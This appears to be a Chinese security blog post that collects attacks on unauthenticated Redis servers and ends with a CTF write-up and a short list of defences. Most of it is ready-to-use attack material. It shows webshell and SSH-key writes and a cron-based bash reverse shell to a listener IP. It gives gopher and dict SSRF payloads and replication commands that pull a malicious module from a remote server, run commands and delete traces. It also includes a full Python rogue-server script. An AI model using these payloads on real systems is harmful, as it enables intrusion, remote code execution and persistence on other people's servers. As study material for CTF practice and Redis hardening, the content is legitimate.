Redis攻击简单总结 前言 Redis默认端口为6379
,默认密码为空。而当我们没有将该端口做防火墙措施,且未设置密码时就会存在redis
未授权漏洞。
该漏洞导致用户可以利用redis
的config
命令来进行文件读写导致getshell
常见利用方式 写webshell 1 2 3 4 set x "<?php phpinfo(); ?>" config set dbfilename 1.php config set dir /var/www/html save
访问1.php
即可
SSH公钥 条件:
目标机器以root
权限运行redis
才可以
存在.ssh
目录
1 2 3 4 config set dir /root/.ssh config set dbfilename pub_keys set x "x" #x为生产的公钥 save
反序列化相关 当Python
服务器有时会将Pickle
或Yaml
序列化后数据存储在Redis
中。还有一些缓存的库会直接选择序列化后存入 Redis 中。这时我们就可以通过篡改序列化后的数据为我们的恶意Payload
,当Redis
取出该数据时就会触发反序列化完成命令执行
当然,还有php
反序列化也可以被触发 一次“SSRF–>RCE”的艰难利用
写定时任务反弹shell 条件:
1 2 3 4 set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.23.176/4444 0>&1\n\n' config set dir /var/spool/cron/ config set dbfilename root save
Windows下的利用 无非是MOF
、启动项
这些,放篇文章吧 Redis未授权访问在windows下的利用
复现 需要将redis.conf
中的bind 127.0.0.1
给注释掉,然后将protected-mode yes
改为no
然后执行如下命令使配置文件生效
1 2 cd redis安装目录redis-server redis.conf
探测是否存在redis
未授权 / 配置信息
1 curl gopher://10.23.78.243:6379/_info
查看存在哪些键
1 curl gopher://10.23.78.243:6379/_keys%20*
攻击机进行远程连接
1 redis-cli -h IP -p <默认为6379>
最后执行上面常见利用方式的payload
即可
SSRF+Redis未授权 Redis
在默认情况下端口不会暴露出来,且只能本地访问,所以就会有部分运维人员认为Redis
设置密码多此一举。
但当服务器存在SSRF
时,它很有可能就会结合Redis
未授权导致被getshell
首先我们设置redis
只能本地访问,关闭暴露的端口(即恢复为默认配置)
写一个漏洞 Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file(__FILE__ ); function curl ($url ) { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt($ch , CURLOPT_SSL_VERIFYHOST, FALSE ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch ); curl_close($ch ); return $output ; } $a = $_GET ['a' ];if ($a ){ $b = curl($a ); echo $b ; }
根据这篇文章 生成相应gopher payload
10.23.78.243
是redis
服务地址
然后在浏览器访问http://10.23.78.243/test2.php?a=gopher://127.0.0.1:6379/_%252a%2531%250d%250a%2524%2537%250d%250a%2543%254f%254d%254d%2541%254e%2544%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2534%250d%250a%256b%2565%2579%2531%250d%250a%2524%2536%250d%250a%2576%2561%256c%2575%2565%2531%250d%250a
注意在浏览器框输入gopher payload
时要将它进行二次URL编码
在bash
输入redis-cli keys *
即可发现成功生成了key1
同理,我们可以本地模拟写shell生成gopher payload
,再访问即可
gopher payload自动生成 github上有现成打redis
的gopher payload
自动生成脚本 传送门
只需要把命令写在redis.cmd
,如
1 2 3 4 config set dir /var/www/html config set dbfilename shell.php set 'webshell' '<?php phpinfo();?>' save
即可自动生成
Mark一下,还有其他打mysql
、fastcgi
的自动生成 传送门
dict协议攻击redis 除了使用gopher
来打redis
,还有一种更简便的方式,就是使用dict
格式
1 dict://serverip:port/命令:参数
探测是否存在redis
未授权
1 curl dict://192.168.43.137:6379/info
不过利用dict
协议并不能直接写webshell
,需要用到redis 主从复制
1 2 3 4 5 6 7 8 9 10 1.和自己VPS建立主从关系 curl dict://127.0.0.1:6379/slaveof:ip:port 2.设置保存路径 curl dict://127.0.0.1:6379/config:set :dir:/var/www/html/ 3.设置保存文件名 curl dict://127.0.0.1:6379/config:set :dbfilename:shell.php 4.保存 curl dict://127.0.0.1:6379/save 5.断开主从 curl dict://127.0.0.1:6379/slaveof:no:one
注意一定要断开主从,否则会加载失败
来自 浅析Linux下Redis的攻击面(一) - 先知社区 (aliyun.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 1.连接远程主服务器 curl dict://127.0.0.1:6381/slaveof:101.200.157.195:21000 2.设置保存文件名 curl dict://127.0.0.1:6381/config:set :dbfilename:exp.so 3.载入 exp.so curl dict://127.0.0.1:6381/module:load:./exp.so 4.断开主从 curl dict://127.0.0.1:6381/slaveof:no:one 5.恢复原始文件名 curl dict://127.0.0.1:6381/config:set :dbfilename:dump.rdb 6.执行命令 curl dict://127.0.0.1:6381/system.exec:'whomai' 7.删除痕迹 curl dict://127.0.0.1:6381/system.exec:rm './exp.so'
主从复制getshell 前言 简单来说,Redis
主从复制是一种牺牲空间,换取效率的方式。
它会将一台服务器视为主机,而其他服务器就会被视为从机,当主机的数据更新时,从机上的数据也会保持实时同步,即主机的存储的数据和从机是一模一样的,而当进行数据读取时,就会在从机取出数据,这样读写分离的模式能够一定程度上缓解Redis
服务器的压力。
详细信息可以看这里
而在当前主流的服务器集群架构中,Redis
越来越多的被单独布置在一个服务器上,而不存在web
服务。单独的文件读写已经越来越难拿到shell了,而在2018年的zeronights
会议上就提出了一种新的攻击方式,即主从复制getshell
Redis模块功能 Redis 4.x
后新增了模块功能,通过外部拓展,可以实现在redis
中实现新的redis
命令,并通过C
编译出so
文件。
当两台Redis
主机设置为主从模式时,Redis
主机可通过FULLRESYNC
同步文件到从机。此时就能在从节点上加载so
文件达到命令执行
Windows最新版本为3.x,所以Windows
服务器基本不支持该操作
利用 现成脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import socketfrom time import sleepfrom optparse import OptionParserdef RogueServer (lport ): resp = "" sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(("0.0.0.0" ,lport)) sock.listen(10 ) conn,address = sock.accept() sleep(5 ) while True : data = conn.recv(1024 ) if "PING" in data: resp="+PONG" +CLRF conn.send(resp) elif "REPLCONF" in data: resp="+OK" +CLRF conn.send(resp) elif "PSYNC" in data or "SYNC" in data: resp = "+FULLRESYNC " + "Z" *40 + " 1" + CLRF resp += "$" + str (len (payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() if type (resp) != bytes : resp =resp.encode() conn.send(resp) break if __name__=="__main__" : parser = OptionParser() parser.add_option("--lport" , dest="lp" , type ="int" ,help ="rogue server listen port, default 21000" , default=21000 ,metavar="LOCAL_PORT" ) parser.add_option("-f" ,"--exp" , dest="exp" , type ="string" ,help ="Redis Module to load, default exp.so" , default="exp.so" ,metavar="EXP_FILE" ) (options , args )= parser.parse_args() lport = options.lp exp_filename = options.exp CLRF="\r\n" payload=open (exp_filename,"rb" ).read() print "Start listing on port: %s" %lport print "Load the payload: %s" %exp_filename RogueServer(lport)
恶意so
文件生成脚本 传送门
usage
python RogueServer.py -lport 1234 --exp exp.so
然后连上目标去执行相应payload
来达成命令执行,如下
redis装成3.x了,不支持加载moudle
,懒得重装,直接嫖的图
或者直接使用github
上的脚本,不用自己去手动创建恶意so
文件,更方便快速 传送门
CTF 祥云杯-2020 doyouknowssrf 考点:PHP parse_url函数绕过,Python urllib CRLF,SSRF+redis,redis主从复制写shell
解题
和GACTF
那道题SSSRFME
基本一致,而且还没有设置密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php function safe_url ($url ,$safe ) { $parsed = parse_url($url ); $validate_ip = true ; if ($parsed ['port' ] && !in_array($parsed ['port' ],array ('80' ,'443' ))){ echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>" .PHP_EOL; return false ; }else { preg_match('/^\d+$/' , $parsed ['host' ]) && $parsed ['host' ] = long2ip($parsed ['host' ]); $long = ip2long($parsed ['host' ]); if ($long ===false ){ $ip = null ; if ($safe ){ @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1' ); $ip = gethostbyname($parsed ['host' ]); $long = ip2long($ip ); $long ===false && $ip = null ; @putenv('RES_OPTIONS' ); } }else { $ip = $parsed ['host' ]; } $ip && $validate_ip = filter_var($ip , FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE); } if (!in_array($parsed ['scheme' ],array ('http' ,'https' )) || !$validate_ip ){ echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>" .PHP_EOL; return false ; }else { return $url ; } } function curl ($url ) { $safe = false ; if (safe_url($url ,$safe )) { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch , CURLOPT_HEADER, 0 ); curl_setopt($ch , CURLOPT_SSL_VERIFYPEER, false ); curl_setopt($ch , CURLOPT_SSL_VERIFYHOST, false ); $co = curl_exec($ch ); curl_close($ch ); echo $co ; } } highlight_file(__FILE__ ); curl($_GET ['url' ]);
简单代码审计可知,服务器会根据parse_url
获取到的scheme
、host
、port
来判断是否为合法IP
但parse_url
存在漏洞 传送门
可以使用形如http://test:test@127.0.0.1@baidu.com/
来绕过限制,相当于http://127.0.0.1
根据提示打了一下5000端口 ?url=http://test:test@127.0.0.1:5000@baidu.com/
发现又存在一个SSRF
,访问6379
端口发现redis
报错,但题目说明了全程只能使用http/https
,所以就不能使用gopher
或dict
来打
然后试一下访问vps
,发现为Python-urllib/3.7
这就又存在一个CLRF
了 CVE-2019-9740 Python urllib CRLF injection
那我们就可以通过CLRF
进行注入
放一下GACTF爆破redis密码的脚本(这里用不到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsimport urllib.parsetarget= "http://eci-2ze4i20uld1whv2gvhyu.cloudeci1.ichunqiu.com" vps = "xx.xx.xx.xx" payload = f''' HTTP/1.1 auth 123456 slaveof { vps } 3333 foo: ''' payload = urllib.parse.quote(payload).replace("%0A" , "%0D%0A" ) payload = "?url=http://127.0.0.1:6379/" + payload payload = urllib.parse.quote(payload) payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/" + payload print(target + payload)
在服务器上开启nc
,当autu
为123456
时收到了请求,即爆破出了密码为123456
使用redis-rogue-server.py
传送门
这里能加载so
文件却不能弹shell
,于是修改加载恶意so
文件的代码为写webshell
然后开启监听
使用如下脚本打印写webshell
的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 import urllib.parsevps = "xx.xx.xx.xx" payload = f''' HTTP/1.1 auth 123456 config set dir /var/www/html config set dbfilename shell.php slaveof { vps } 21000 foo: ''' payload = urllib.parse.quote(payload).replace("%0A" , "%0D%0A" ) payload = "?url=http://127.0.0.1:6379/" + payload payload = urllib.parse.quote(payload) payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/" + payload print(payload)
发送payload
过去就能写好shell
,flag
位于根目录
这道题其实不需要主从复制,只用urllib
打更简单,因为没有设置密码,y1ng
师傅是直接用urllib
打的 传送门
原理参考这个 Hack Redis via Python urllib HTTP Header Injection
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests as req url = "http://eci-2zebigmdhrm1h25i2qcw.cloudeci1.ichunqiu.com/" def g_redis (s, num ): res = '' for i in s: res += f"%{'%02x' % ord (i)} " if num > 0 : return g_redis(res, num-1 ) else : return res payload = "\r\n" .join(["" ,"set a '<?php phpinfo(); ?>'" ,"config set dir /var/www/html" ,"config set dbfilename y1ng.php" ,"save" ,"test" ]) req.get(url=url+"?url=http://@127.0.0.1:5000@www.baidu.com/?url=http://127.0.0.1:6379?" +g_redis(payload, 1 ))
防御措施
修改Redis
默认端口
Redis
端口设置防火墙
设置强密码
尽量不在一台服务器同时设置Redis
服务和web
服务
禁止root
权限运行redis
修改 redis.conf
禁止高危命令
参考
Redis 多维度角度下的攻击面
Redis主从复制getshell技巧
浅析Linux下Redis的攻击面(一) - 先知社区 (aliyun.com)